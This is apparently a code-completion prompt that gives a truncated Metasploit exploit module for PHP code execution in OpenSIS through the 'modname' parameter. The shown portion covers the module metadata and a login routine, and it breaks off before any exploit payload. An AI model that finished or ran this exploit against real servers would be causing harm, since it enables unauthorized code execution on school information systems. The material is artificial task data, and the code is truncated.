You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: opensis_modname_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'              => "OpenSIS 'modname' PHP Code Execution",
      'Description'       => %q{
        This module exploits a PHP code execution vulnerability
    
  def login(user, pass)
    @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
    print_status("Authenticating as user '#{user}'")
    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path, "index.php"),
      'cookie'     => @cookie,
      'vars_post'  => Hash[{
        'USERNAME' => user,
        'PASSWORD' => pass,
      }.to_a.shuffle]
    })
    if res and res.code == 200 and res.body =~ /Portal\.php/
      print_good("Authenticated as user '#{user}'")
      return true
    else
      print_error("Authenticating as user '#{user}' failed")
      return false
    end